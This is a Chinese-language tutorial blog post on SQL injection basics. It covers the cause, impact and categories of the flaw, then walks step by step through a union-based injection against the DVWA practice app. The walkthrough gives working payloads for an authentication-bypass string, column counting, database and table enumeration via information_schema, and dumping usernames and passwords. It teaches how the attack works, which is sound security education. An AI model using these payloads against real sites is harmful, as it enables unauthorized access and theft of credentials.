03. SQL注入漏洞基础

03. SQL注入漏洞基础

SQL注入漏洞基础(上)

/01 SQL注入的原理
SQL注入原理
SQL注入产生的原因

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎,获取或修改数据库中的数据。

在这里插入图片描述

SQL注入的本质

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

SQL注入的两个关键点
  1. 用户能够控制输入的内容;
  2. Web应用把用户输入的内容带入到数据库中执行

在这里插入图片描述

/02 SQL注入的危害
SQL注入的危害
  • 盗取网站的敏感信息

  • 绕过网站后台认证

    后台登录语句:

    SELECT * FEOM admin WHERE username = 'user' and password = 'pass'
    

    万能密码:’ or ‘1’ = ‘1’ #

  • 借助SQL注入漏洞提权获取系统权限

  • 读取文件信息

/03 SQL注入的分类
SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入

根据反馈结果分类:有回显(显错注入)、无回显(盲注)

根据数据类型分类**(我们更加关注)**:

​ 数字型:输入的参数为整型,入id、年龄、页码等

​ 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合

/04 SQL注入的流程
SQL注入的流程
1、寻找注入点

在这里插入图片描述

2、判断闭合方式

?id=1asdfa

有报错:数字型,无闭合或 )闭合

无报错:字符型,再判断闭合方式,’ “ ‘)“)

在这里插入图片描述

SQL注入漏洞基础(下)

2、判断闭合方式(续)

?id=1asdfa’

查看报错信息,这里的闭合方式为’

在这里插入图片描述

3、验证漏洞

?id=1’ or 1=1 # 正常显示

在这里插入图片描述

4、判断列数及回显位

?id=1’ ) order by 4 #

?id=1’ ) order by 3 #

说明列数为2列

在这里插入图片描述

在这里插入图片描述

?id=-1’ ) union select 1, 2#

说明回显位为1,2

在这里插入图片描述

联合查询下,两个select一定要相同字段数量

sql注入流程:

  1. 查询数据库类型:通过错误显示,已经知道是mysql

  2. 查询当前系统所使用的数据库名称是什么:dvwa

    在这里插入图片描述

    select * from 表名 where id = '1' union select 1, database()#
    
  3. 查询当前数据库的表有什么内容:

    information_schema查询表名

    0' union select 1, table_name from information_schema.tables where table_schema = 'dvwa
    
  4. 查询指定表的字段信息:

    information_schema查询字段信息

    0' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users
    
  5. 查询想要的信息内容:

    0' union select user, password  from users#
    
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值